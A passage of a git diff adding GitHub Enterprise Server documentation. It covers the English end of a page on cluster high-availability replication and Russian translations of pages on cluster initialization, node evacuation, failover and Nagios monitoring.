"HOSTNAME"] + datacenter = default + hostname = HOSTNAME + ipv4 = IP-ADDRESS + ... + ... + ``` + + {% note %} + + **Note**: If you changed the name of the primary datacenter in step 3, find the `consul-datacenter` key-value pair in the section for each node and change the value to the renamed primary datacenter. For example, if you named the primary datacenter `primary`, use the following key-value pair for each node. + + ``` + consul-datacenter = primary + ``` + + {% endnote %} + +{% data reusables.enterprise_clustering.apply-configuration %} + +{% data reusables.enterprise_clustering.configuration-finished %} + +After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished assigning your nodes to the cluster's primary datacenter. + +### Adding passive nodes to the cluster configuration file + +To configure high availability, you must define a corresponding passive node for every active node in your cluster. The following instructions create a new cluster configuration that defines both active and passive nodes. You will: + +- Create a copy of the active cluster configuration file. +- Edit the copy to define passive nodes that correspond to the active nodes, adding the IP addresses of the new virtual machines that you provisioned. +- Merge the modified copy of the cluster configuration back into your active configuration. +- Apply the new configuration to start replication. + +For an example configuration, see "[Example configuration](#example-configuration)." + +1. For each node in your cluster, provision a matching virtual machine with identical specifications, running the same version of {% data variables.product.prodname_ghe_server %}. Note the IPv4 address and hostname for each new cluster node. For more information, see "[Prerequisites](#prerequisites)." + + {% note %} + + **Note**: If you're reconfiguring high availability after a failover, you can use the old nodes from the primary datacenter instead. + + {% endnote %} + +{% data reusables.enterprise_clustering.ssh-to-a-node %} + +3. Back up your existing cluster configuration. + + ``` + cp /data/user/common/cluster.conf ~/$(date +%Y-%m-%d)-cluster.conf.backup + ``` + +4. Create a copy of your existing cluster configuration file in a temporary location, like _/home/admin/cluster-passive.conf_. Delete unique key-value pairs for IP addresses (`ipv*`), UUIDs (`uuid`), and public keys for WireGuard (`wireguard-pubkey`). + + ``` + grep -Ev "(?:|ipv|uuid|vpn|wireguard\-pubkey)" /data/user/common/cluster.conf > ~/cluster-passive.conf + ``` + +5. Remove the `[cluster]` section from the temporary cluster configuration file that you copied in the previous step. + + ``` + git config -f ~/cluster-passive.conf --remove-section cluster + ``` + +6. Decide on a name for the secondary datacenter where you provisioned your passive nodes, then update the temporary cluster configuration file with the new datacenter name. Replace `SECONDARY` with the name you choose. + + ```shell + sed -i 's/datacenter = default/datacenter = SECONDARY/g' ~/cluster-passive.conf + ``` + +7. Decide on a pattern for the passive nodes' hostnames. + + {% warning %} + + **Warning**: Hostnames for passive nodes must be unique and differ from the hostname for the corresponding active node. + + {% endwarning %} + +8. Open the temporary cluster configuration file from step 3 in a text editor. For example, you can use Vim. + + ```shell + sudo vim ~/cluster-passive.conf + ``` + +9. In each section within the temporary cluster configuration file, update the node's configuration. {% data reusables.enterprise_clustering.configuration-file-heading %} + + - Change the quoted hostname in the section heading and the value for `hostname` within the section to the passive node's hostname, per the pattern you chose in step 7 above. + - Add a new key named `ipv4`, and set the value to the passive node's static IPv4 address. + - Add a new key-value pair, `replica = enabled`. + + ```shell + [cluster "NEW PASSIVE NODE HOSTNAME"] + ... + hostname = NEW PASSIVE NODE HOSTNAME + ipv4 = NEW PASSIVE NODE IPV4 ADDRESS + replica = enabled + ... + ... + ``` + +10. Append the contents of the temporary cluster configuration file that you created in step 4 to the active configuration file. + + ```shell + cat ~/cluster-passive.conf >> /data/user/common/cluster.conf + ``` + +11. Designate the primary MySQL and Redis nodes in the secondary datacenter. Replace `REPLICA MYSQL PRIMARY HOSTNAME` and `REPLICA REDIS PRIMARY HOSTNAME` with the hostnames of the passives node that you provisioned to match your existing MySQL and Redis primaries. + + ```shell + git config -f /data/user/common/cluster.conf cluster.mysql-master-replica REPLICA-MYSQL-PRIMARY-HOSTNAME + git config -f /data/user/common/cluster.conf cluster.redis-master-replica REPLICA-REDIS-PRIMARY-HOSTNAME + ``` + + {% warning %} + + **Warning**: Review your cluster configuration file before proceeding. + + - In the top-level `[cluster]` section, ensure that the values for `mysql-master-replica` and `redis-master-replica` are the correct hostnames for the passive nodes in the secondary datacenter that will serve as the MySQL and Redis primaries after a failover. + - In each section for an active node named [cluster "ACTIVE NODE HOSTNAME"], double-check the following key-value pairs. + - `datacenter` should match the value of `primary-datacenter` in the top-level `[cluster]` section. + - `consul-datacenter` should match the value of `datacenter`, which should be the same as the value for `primary-datacenter` in the top-level `[cluster]` section. + - Ensure that for each active node, the configuration has **one** corresponding section for **one** passive node with the same roles. In each section for a passive node, double-check each key-value pair. + - `datacenter` should match all other passive nodes. + - `consul-datacenter` should match all other passive nodes. + - `hostname` should match the hostname in the section heading. + - `ipv4` should match the node's unique, static IPv4 address. + - `replica` should be configured as `enabled`. + - Take the opportunity to remove sections for offline nodes that are no longer in use. + + To review an example configuration, see "[Example configuration](#example-configuration)." + + {% endwarning %} + +13. Initialize the new cluster configuration. {% data reusables.enterprise.use-a-multiplexer %} + + ```shell + ghe-cluster-config-init + ``` + +14. After the initialization finishes, {% data variables.product.prodname_ghe_server %} displays the following message. + + ```shell + Finished cluster initialization + ``` + +{% data reusables.enterprise_clustering.apply-configuration %} + +{% data reusables.enterprise_clustering.configuration-finished %} + +17. Configure a load balancer that will accept connections from users if you fail over to the passive nodes. For more information, see "[Cluster network configuration](/enterprise/admin/enterprise-management/cluster-network-configuration#configuring-a-load-balancer)." + +You've finished configuring high availability replication for the nodes in your cluster. Each active node begins replicating configuration and data to its corresponding passive node, and you can direct traffic to the load balancer for the secondary datacenter in the event of a failure. For more information about failing over, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)." + +### Example configuration + +The top-level `[cluster]` configuration should look like the following example. + +```shell +[cluster] + mysql-master = HOSTNAME-OF-ACTIVE-MYSQL-MASTER + redis-master = HOSTNAME-OF-ACTIVE-REDIS-MASTER + primary-datacenter = PRIMARY-DATACENTER-NAME + mysql-master-replica = HOSTNAME-OF-PASSIVE-MYSQL-MASTER + redis-master-replica = HOSTNAME-OF-PASSIVE-REDIS-MASTER + mysql-auto-failover = false +... +``` + +The configuration for an active node in your cluster's storage tier should look like the following example. + +```shell +... +[cluster "UNIQUE ACTIVE NODE HOSTNAME"] + datacenter = default + hostname = UNIQUE-ACTIVE-NODE-HOSTNAME + ipv4 = IPV4-ADDRESS + consul-datacenter = default + consul-server = true + git-server = true + pages-server = true + mysql-server = true + elasticsearch-server = true + redis-server = true + memcache-server = true + metrics-server = true + storage-server = true + vpn = IPV4 ADDRESS SET AUTOMATICALLY + uuid = UUID SET AUTOMATICALLY + wireguard-pubkey = PUBLIC KEY SET AUTOMATICALLY +... +``` + +The configuration for the corresponding passive node in the storage tier should look like the following example. + +- Important differences from the corresponding active node are **bold**. +- {% data variables.product.prodname_ghe_server %} assigns values for `vpn`, `uuid`, and `wireguard-pubkey` automatically, so you shouldn't define the values for passive nodes that you will initialize. +- The server roles, defined by `*-server` keys, match the corresponding active node. + +```shell +... +[cluster "UNIQUE PASSIVE NODE HOSTNAME"] + replica = enabled + ipv4 = IPV4 ADDRESS OF NEW VM WITH IDENTICAL RESOURCES + datacenter = SECONDARY DATACENTER NAME + hostname = UNIQUE PASSIVE NODE HOSTNAME + consul-datacenter = SECONDARY DATACENTER NAME + consul-server = true + git-server = true + pages-server = true + mysql-server = true + elasticsearch-server = true + redis-server = true + memcache-server = true + metrics-server = true + storage-server = true + vpn = DO NOT DEFINE + uuid = DO NOT DEFINE + wireguard-pubkey = DO NOT DEFINE +... +``` + +## Monitoring replication between active and passive cluster nodes + +Initial replication between the active and passive nodes in your cluster takes time. The amount of time depends on the amount of data to replicate and the activity levels for {% data variables.product.prodname_ghe_server %}. + +You can monitor the progress on any node in the cluster, using command-line tools available via the {% data variables.product.prodname_ghe_server %} administrative shell. For more information about the administrative shell, see "[Accessing the administrative shell (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh)." + +- Monitor replication of databases: + + ``` + /usr/local/share/enterprise/ghe-cluster-status-mysql + ``` + +- Monitor replication of repository and Gist data: + + ``` + ghe-spokes status + ``` + +- Monitor replication of attachment and LFS data: + + ``` + ghe-storage replication-status + ``` + +- Monitor replication of Pages data: + + ``` + ghe-dpages replication-status + ``` + +You can use `ghe-cluster-status` to review the overall health of your cluster. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-cluster-status)." + +## Reconfiguring high availability replication after a failover + +After you fail over from the cluster's active nodes to the cluster's passive nodes, you can reconfigure high availability replication in two ways. + +### Provisioning and configuring new passive nodes + +After a failover, you can reconfigure high availability in two ways. The method you choose will depend on the reason that you failed over, and the state of the original active nodes. + +1. Provision and configure a new set of passive nodes for each of the new active nodes in your secondary datacenter. + +2. Use the old active nodes as the new passive nodes. + +The process for reconfiguring high availability is identical to the initial configuration of high availability. For more information, see "[Creating a high availability replica for a cluster](#creating-a-high-availability-replica-for-a-cluster)." + + +## Disabling high availability replication for a cluster + +You can stop replication to the passive nodes for your cluster deployment of {% data variables.product.prodname_ghe_server %}. + +{% data reusables.enterprise_clustering.ssh-to-a-node %} + +{% data reusables.enterprise_clustering.open-configuration-file %} + +3. In the top-level `[cluster]` section, delete the `redis-master-replica`, and `mysql-master-replica` key-value pairs. + +4. Delete each section for a passive node. For passive nodes, `replica` is configured as `enabled`. + +{% data reusables.enterprise_clustering.apply-configuration %} + +{% data reusables.enterprise_clustering.configuration-finished %} + +After {% data variables.product.prodname_ghe_server %} returns you to the prompt, you've finished disabling high availability replication. diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md new file mode 100644 index 000000000000..435500f62eea --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md @@ -0,0 +1,51 @@ +--- +title: Различия между кластеризацией и высоким уровнем доступности (HA) +intro: "{% data variables.product.prodname_ghe_server %} Конфигурация высокого уровня доступности (HA)\_— это основная или дополнительная конфигурация отработки отказа, которая обеспечивает избыточность, тогда как кластеризация обеспечивает избыточность и масштабируемость путем распределения нагрузки, связанной с чтением и записью данных, между несколькими узлами." +redirect_from: + - /enterprise/admin/clustering/differences-between-clustering-and-high-availability-ha + - /enterprise/admin/enterprise-management/differences-between-clustering-and-high-availability-ha + - /admin/enterprise-management/differences-between-clustering-and-high-availability-ha +versions: + ghes: '*' +type: reference +topics: + - Clustering + - Enterprise + - High availability + - Infrastructure +shortTitle: Choosing cluster or HA +ms.openlocfilehash: 3a15defe4327b1aeed4f0db22586c75b233b5908 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146332491' +--- +## Сценарии сбоев + +Высокий уровень доступности (HA) и кластеризация обеспечивают избыточность, устраняя единственный узел как точку отказа. Они могут обеспечить доступность в следующих сценариях: + +{% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %} + +## Масштабируемость + +{% data reusables.enterprise_clustering.clustering-scalability %} При обеспечении высокого уровня доступности масштаб устройства зависит исключительно от основного узла, а нагрузка не распространяется на сервер-реплику. + +## Различия в методе отработки отказа и конфигурации + +| Компонент | Конфигурация отработки отказа | Метод отработки отказа | +| :------------- | :------------- | :--- | +| Конфигурация высокого уровня доступности | Запись DNS с низким TTL указывает на основное устройство или подсистему балансировки нагрузки. | Необходимо вручную повысить уровень устройства реплики в конфигурациях отработки отказа DNS и подсистемы балансировки нагрузки. | +| Кластеризация | Запись DNS должна указывать на подсистему балансировки нагрузки. | Если узел за подсистемой балансировки нагрузки выходит из строя, трафик автоматически отправляется на другие функционирующие узлы. | + +## Резервное копирование и аварийное восстановление + +Ни высокий уровень доступности, ни кластеризация не должны рассматриваться как замена регулярному резервному копированию. Дополнительные сведения см. в статье "[Настройка резервных копий на устройстве](/enterprise/admin/guides/installation/configuring-backups-on-your-appliance)". + +## Наблюдение + +Функции доступности, особенно с автоматической отработкой отказа, такие как кластеризация, могут маскировать сбой, так как служба обычно не нарушается при сбое. Независимо от того, используете ли вы высокий уровень доступности или кластеризацию, важно отслеживать работоспособность каждого экземпляра, чтобы вы знали, когда происходит сбой. Дополнительные сведения о мониторинге см. в статьях "[Рекомендуемые пороговые значения оповещений](/enterprise/admin/guides/installation/recommended-alert-thresholds/)" и "[Мониторинг узлов кластера](/enterprise/{{ currentVersion}}/admin/guides/clustering/monitoring-cluster-nodes/)". + +## Дополнительные материалы +- Дополнительные сведения о кластеризации {% data variables.product.prodname_ghe_server %} см. в статье "[Сведения о кластеризации](/enterprise/{{ currentVersion}}/admin/guides/clustering/about-clustering/)". +- Дополнительные сведения о высокой доступности см. в статье "[Настройка {% data variables.product.prodname_ghe_server %} для обеспечения высокого уровня доступности](/enterprise/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)". diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/evacuating-a-cluster-node.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/evacuating-a-cluster-node.md new file mode 100644 index 000000000000..adc56e98bb10 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/evacuating-a-cluster-node.md @@ -0,0 +1,90 @@ +--- +title: Эвакуация узла кластера +intro: Службы данных можно эвакуировать на узел кластера. +redirect_from: + - /enterprise/admin/clustering/evacuating-a-cluster-node + - /enterprise/admin/enterprise-management/evacuating-a-cluster-node + - /admin/enterprise-management/evacuating-a-cluster-node +versions: + ghes: '*' +type: how_to +topics: + - Clustering + - Enterprise +ms.openlocfilehash: 9f98059b0ff0fbc26027aeb6c2154033ce54a1fb +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009038' +--- +## Сведения об эвакуации узлов кластера + +В конфигурации кластера для {% data variables.product.product_name %} можно эвакуировать узел перед отключением узла от сети. Эвакуация гарантирует, что остальные узлы на уровне служб будут содержать все данные службы. Например, при замене виртуальной машины для узла в кластере необходимо сначала эвакуировать узел. + +Дополнительные сведения об узлах и уровнях служб для {% data variables.product.prodname_ghe_server %}см. в разделе [Сведения об узлах кластера](/admin/enterprise-management/configuring-clustering/about-cluster-nodes). + +{% warning %} + +**Предупреждения** + +- Чтобы избежать потери данных, {% data variables.product.company_short %} настоятельно рекомендует эвакуировать узел перед его отключением от сети. + +- Если у вас есть только три узла в кластере служб данных, вы не сможете эвакуировать узлы, поскольку в `ghe-spokes` нет другого места для создания копий. Если у вас четыре или более, `ghe-spokes` переместит все репозитории из эвакуированного узла. + +{% endwarning %} + +## Эвакуация узла кластера + +Если вы планируете перевести узел в автономный режим, но он при этом выполняет роль службы данных, например `git-server`, `pages-server`или `storage-server`, необходимо эвакуировать каждый узел, прежде чем отключить узел от сети. + +{% data reusables.enterprise_clustering.ssh-to-a-node %} +1. Чтобы найти UUID узла для эвакуации, выполните следующую команду. Замените `HOSTNAME` именем узла. + + ```shell + $ ghe-config cluster.HOSTNAME.uuid + ``` +1. Отслеживайте состояние узла, пока {% data variables.product.product_name %} копирует данные. Не отключайте узел от сети до завершения копирования. Чтобы отслеживать состояние узла, выполните любую из следующих команд, заменив UUID `UUID` в шаге 2. + + - **Git**. + + ```shell + $ ghe-spokes evac-status git-server-UUID + ``` + + - **{% data variables.product.prodname_pages %}** : + + ```shell + $ echo "select count(*) from pages_replicas where host = 'pages-server-UUID'" | ghe-dbconsole -y + ``` + + - **Хранилище**. + + ```shell + $ ghe-storage evacuation-status storage-server-UUID + ``` +1. После завершения копирования можно эвакуировать узел, выполнив любую из следующих команд, заменив UUID `UUID` из шага 2. + + - **Git**. + + ```shell + $ ghe-spokes server evacuate git-server-UUID \'REASON FOR EVACUATION\' + ``` + + - **{% data variables.product.prodname_pages %}** : + + ```shell + $ ghe-dpages evacuate pages-server-UUID + ``` + + - Для **хранилища** сначала переведите узел в автономный режим, выполнив следующую команду. + + ```shell + $ ghe-storage offline storage-server-UUID + ``` + + После отключения узла хранилища можно эвакуировать узел, выполнив следующую команду. + + ```shell + $ ghe-storage evacuate storage-server-UUID + ``` diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/index.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/index.md new file mode 100644 index 000000000000..6b6dcc4af95f --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/index.md @@ -0,0 +1,32 @@ +--- +title: Настройка кластеризации +intro: Узнайте о кластеризации и различиях с высоким уровнем доступности. +redirect_from: + - /enterprise/admin/clustering/setting-up-the-cluster-instances + - /enterprise/admin/clustering/managing-a-github-enterprise-server-cluster + - /enterprise/admin/guides/clustering/managing-a-github-enterprise-cluster + - /enterprise/admin/enterprise-management/configuring-clustering +versions: + ghes: '*' +topics: + - Enterprise +children: + - /about-clustering + - /differences-between-clustering-and-high-availability-ha + - /about-cluster-nodes + - /cluster-network-configuration + - /initializing-the-cluster + - /upgrading-a-cluster + - /monitoring-cluster-nodes + - /replacing-a-cluster-node + - /evacuating-a-cluster-node + - /configuring-high-availability-replication-for-a-cluster + - /initiating-a-failover-to-your-replica-cluster +ms.openlocfilehash: 53288d602951e8e271e245d20248d9bdf1a42634 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120608' +--- + diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md new file mode 100644 index 000000000000..dbf02d8a1bde --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md @@ -0,0 +1,166 @@ +--- +title: Инициализация кластера +intro: 'Кластер {% data variables.product.prodname_ghe_server %} нужно настроить с помощью лицензии и инициализировать посредством административной оболочки (SSH).' +redirect_from: + - /enterprise/admin/clustering/initializing-the-cluster + - /enterprise/admin/enterprise-management/initializing-the-cluster + - /admin/enterprise-management/initializing-the-cluster +versions: + ghes: '*' +type: how_to +topics: + - Clustering + - Enterprise +ms.openlocfilehash: 91394d1d39301f77bc49a87012e04c3d5e9c3b60 +ms.sourcegitcommit: ced661bdffebd0f96f6f76db109fbe31983448ba +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148167087' +--- +{% data reusables.enterprise_clustering.clustering-requires-https %} + +## Установка {% data variables.product.prodname_ghe_server %} + +1. На каждом узле кластера подготовьте и установите {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе [Настройка экземпляра {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance). +2. Используя административную оболочку или DHCP, настройте **только** IP-адрес каждого узла. Не следует настраивать другие параметры. + +## Настройка первого узла + +1. Подключитесь узлу, который будет назначен как основной сервер MySQL в `cluster.conf`. Дополнительные сведения см. в разделе [Сведения о файле конфигурации кластера](/enterprise/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file). +2. В веб-браузере перейдите по адресу `https://:8443/setup/`. +{% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} {% data reusables.enterprise_installation.instance-will-restart-automatically %} + +## Инициализация кластера + +Для инициализации кластера требуется файл конфигурации кластера (`cluster.conf`). Дополнительные сведения см. в разделе [Сведения о файле конфигурации кластера](/enterprise/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file). + +1. На первом настроенном узле выполните команду `ghe-cluster-config-init`. При этом кластер инициализируется, если в файле конфигурации кластера есть узлы, которые не были настроены. +2. Выполните команду `ghe-cluster-config-apply`. Это позволит проверить файл `cluster.conf`, применить конфигурацию к каждому файлу узла и запустить настроенные службы на каждом узле. + +Чтобы проверить состояние работающего кластера, используйте команду `ghe-cluster-status`. + +## Сведения о файле конфигурации кластера + +Файл конфигурации кластера (`cluster.conf`) определяет узлы в кластере и службы, которые они выполняют. +Дополнительные сведения см. в разделе [Сведения об узлах кластера](/enterprise/admin/guides/clustering/about-cluster-nodes). + +В этом примере `cluster.conf` определяется кластер с 11 узлами. + + - Два узла, называемые `ghes-front-end-node-\*` службами запуска, отвечающими за ответы на запросы клиентов. + - Три узла, которые называются `ghes-database-node-\*` запускают службы, отвечающие за хранение, получение и репликацию данных базы данных. + - Три узла, называемые `ghes-search-node-\*` службами запуска, отвечающими за функции поиска. + - Три узла, называемые `ghes-storage-node-\*` службами запуска, отвечающими за хранение, получение и репликацию данных. + +Имя узла может быть любым допустимым именем узла. Имена задаются как имена узла для каждого узла, а также добавляются в `/etc/hosts` на каждый узел, чтобы позволить разрешать узлы друг в друга. + +Укажите первый узел кластера, который настроен как основной узел MySQL, посредством `mysql-server` и `mysql-master`. + +```ini +[cluster] + mysql-master = ghes-database-node-1 + redis-master = ghes-database-node-1 + primary-datacenter = primary +[cluster "ghes-front-end-node-1"] + hostname = ghes-front-end-node-1 + ipv4 = 192.168.0.2 + # ipv6 = fd12:3456:789a:1::2 + consul-datacenter = primary + datacenter = primary + web-server = true + job-server = true + memcache-server = true +[cluster "ghes-front-end-node-2"] + hostname = ghes-front-end-node-2 + ipv4 = 192.168.0.3 + # ipv6 = fd12:3456:789a:1::3 + consul-datacenter = primary + datacenter = primary + web-server = true + job-server = true + memcache-server = true +[cluster "ghes-database-node-1"] + hostname = ghes-database-node-1 + ipv4 = 192.168.0.4 + # ipv6 = fd12:3456:789a:1::4 + consul-datacenter = primary + datacenter = primary + consul-server = true + mysql-server = true + redis-server = true +[cluster "ghes-database-node-2"] + hostname = ghes-database-node-2 + ipv4 = 192.168.0.5 + # ipv6 = fd12:3456:789a:1::5 + consul-datacenter = primary + datacenter = primary + consul-server = true + mysql-server = true + redis-server = true +[cluster "ghes-database-node-3"] + hostname = ghes-database-node-3 + ipv4 = 192.168.0.6 + # ipv6 = fd12:3456:789a:1::6 + consul-datacenter = primary + datacenter = primary + consul-server = true + mysql-server = true + redis-server = true +[cluster "ghes-search-node-1"] + hostname = ghes-search-node-1 + ipv4 = 192.168.0.7 + # ipv6 = fd12:3456:789a:1::7 + consul-datacenter = primary + datacenter = primary + elasticsearch-server = true +[cluster "ghes-search-node-2"] + hostname = ghes-search-node-2 + ipv4 = 192.168.0.8 + # ipv6 = fd12:3456:789a:1::8 + consul-datacenter = primary + datacenter = primary + elasticsearch-server = true +[cluster "ghes-search-node-3"] + hostname = ghes-search-node-3 + ipv4 = 192.168.0.9 + # ipv6 = fd12:3456:789a:1::9 + consul-datacenter = primary + datacenter = primary + elasticsearch-server = true +[cluster "ghes-storage-node-1"] + hostname = ghes-storage-node-1 + ipv4 = 192.168.0.10 + # ipv6 = fd12:3456:789a:1::10 + consul-datacenter = primary + datacenter = primary + git-server = true + pages-server = true + storage-server = true + metrics-server = true +[cluster "ghes-storage-node-2"] + hostname = ghes-storage-node-2 + ipv4 = 192.168.0.11 + # ipv6 = fd12:3456:789a:1::11 + consul-datacenter = primary + datacenter = primary + git-server = true + pages-server = true + storage-server = true + metrics-server = true +[cluster "ghes-storage-node-3"] + hostname = ghes-storage-node-3 + ipv4 = 192.168.0.12 + # ipv6 = fd12:3456:789a:1::12 + consul-datacenter = primary + datacenter = primary + git-server = true + pages-server = true + storage-server = true + metrics-server = true +``` + +Создайте файл `/data/user/common/cluster.conf` на первом настроенном узле. Например, при выполнении команды `vim`: + + ```shell + ghe-data-node-1:~$ sudo vim /data/user/common/cluster.conf + ``` diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md new file mode 100644 index 000000000000..57713cc2f37d --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/initiating-a-failover-to-your-replica-cluster.md @@ -0,0 +1,49 @@ +--- +title: Запуск отработки отказа в кластер реплики +intro: 'Если кластер {% data variables.product.prodname_ghe_server %} завершится сбоем, можно выполнить отработку отказа на пассивную реплику.' +redirect_from: + - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster + - /admin/enterprise-management/initiating-a-failover-to-your-replica-cluster +versions: + ghes: '*' +type: how_to +topics: + - Clustering + - Enterprise + - High availability + - Infrastructure +shortTitle: Initiate a failover to replica +ms.openlocfilehash: 14889e5d861475bc2d887062fb12450194cd6505 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120611' +--- +## Сведения об отработке отказа в кластер реплики + +В случае сбоя в основном центре обработки данных можно выполнить отработку отказа на узлы реплики в дополнительном центре обработки данных, если пассивный узел реплики настроен для каждого узла в активном кластере. + +Время, необходимое для отработки отказа, зависит от того, сколько времени требуется для повышения уровня кластера реплики и перенаправления трафика вручную. + +При повышении уровня кластера реплики не настройка репликации для существующего кластера не выполняется автоматически. После повышения уровня кластера реплики можно перенастроить репликацию из нового активного кластера. Дополнительные сведения см. в разделе [Настройка высокого уровня доступности для кластера](/enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster#reconfiguring-high-availability-replication-after-a-failover). + +## Предварительные требования + +Чтобы выполнить отработку отказа на пассивные узлы реплики, необходимо настроить высокий уровень доступности для кластера. Дополнительные сведения см. в разделе [Настройка высокого уровня доступности для кластера](/enterprise/admin/enterprise-management/configuring-high-availability-replication-for-a-cluster). + +## Запуск отработки отказа в кластер реплики + +1. SSH в любой пассивный узел в дополнительном центре обработки данных для кластера. Дополнительные сведения см. в разделе [Доступ к административной оболочке (SSH)](/enterprise/admin/configuration/accessing-the-administrative-shell-ssh#enabling-access-to-the-administrative-shell-via-ssh). + +2. Инициализируйте отработку отказа в дополнительный кластер и настройте его для работы в качестве активных узлов. + + ```shell + ghe-cluster-failover + ``` + +{% data reusables.enterprise_clustering.configuration-finished %} + +3. Обновите запись DNS, чтобы указать IP-адрес подсистемы балансировки нагрузки для пассивного кластера. Трафик направляется в реплику после истечения срока жизни. + +Отработка отказа считается завершенной после того, как {% data variables.product.prodname_ghe_server %} снова отобразит строку запроса и будут распространены обновления DNS. Пользователи могут получить доступ к {% data variables.product.prodname_ghe_server %}, используя обычное имя узла для вашего кластера. diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md new file mode 100644 index 000000000000..36ac69a3f2a0 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md @@ -0,0 +1,125 @@ +--- +title: Мониторинг узлов кластера +intro: 'Кластер {% data variables.product.prodname_ghe_server %} состоит из избыточных служб, распределенных между двумя или более узлами. Если произошел сбой отдельной службы или всего узла, это не должно сразу стать очевидным для пользователей кластера. Однако учитывая, что это влияет на производительность и избыточность, важно отслеживать работоспособность кластера {% data variables.product.prodname_ghe_server %}.' +redirect_from: + - /enterprise/admin/clustering/monitoring-cluster-nodes + - /enterprise/admin/enterprise-management/monitoring-cluster-nodes + - /admin/enterprise-management/monitoring-cluster-nodes +versions: + ghes: '*' +type: how_to +topics: + - Clustering + - Enterprise + - Fundamentals + - Infrastructure + - Monitoring + - Performance +ms.openlocfilehash: b6dd89aac6a81ce5c00dc053847c8fb996523914 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008889' +--- +## Проверка состояния кластера вручную + +{% data variables.product.prodname_ghe_server %} имеет встроенную программу командной строки для мониторинга работоспособности кластера. При запуске команды `ghe-cluster-status` в административной оболочке выполняется ряд проверок работоспособности на каждом узле, включая проверку подключения и состояния службы. В выходных данных отображаются все результаты теста, включая текст `ok` или `error`. Например, чтобы отобразить только неудачные тесты, выполните следующую команду: + +```shell +admin@ghe-data-node-0:~$ ghe-cluster-status | grep error +> mysql-replication ghe-data-node-0: error Stopped +> mysql cluster: error +``` +{% note %} + +**Примечание.** Если неудачные тесты отсутствуют, эта команда не выводит выходные данные. Это означает, что кластер работоспособен. + +{% endnote %} + +## Мониторинг состояния кластера с помощью Nagios + +Можно настроить [Nagios](https://www.nagios.org/) для мониторинга {% data variables.product.prodname_ghe_server %}. Помимо мониторинга базового подключения к каждому из узлов кластера, можно проверять состояние кластера, настроив Nagios для использования команды `ghe-cluster-status -n`. В результате выполнения возвращаются выходные данные в формате, понятном Nagios. + +### Предварительные требования +* Узел Linux, где выполняется Nagios. +* Сетевой доступ к кластеру {% data variables.product.prodname_ghe_server %}. + +### Настройка узла Nagios +1. Создайте ключ SSH с пустой парольной фразой. Nagios использует его для проверки подлинности в кластере {% data variables.product.prodname_ghe_server %}. + ```shell + nagiosuser@nagios:~$ ssh-keygen -t ed25519 + > Generating public/private ed25519 key pair. + > Enter file in which to save the key (/home/nagiosuser/.ssh/id_ed25519): + > Enter passphrase (empty for no passphrase): LEAVE BLANK BY PRESSING ENTER + > Enter same passphrase again: PRESS ENTER AGAIN + > Your identification has been saved in /home/nagiosuser/.ssh/id_ed25519. + > Your public key has been saved in /home/nagiosuser/.ssh/id_ed25519.pub. + ``` + {% danger %} + + **Предупреждение системы безопасности.** Ключ SSH без парольной фразы может представлять угрозу безопасности, если он авторизован для полного доступа к узлу. Ограничьте авторизацию этого ключа одной командой только для чтения. + + {% enddanger %} {% note %} + + **Примечание.** Если вы используете дистрибутив Linux, который не поддерживает алгоритм Ed25519, 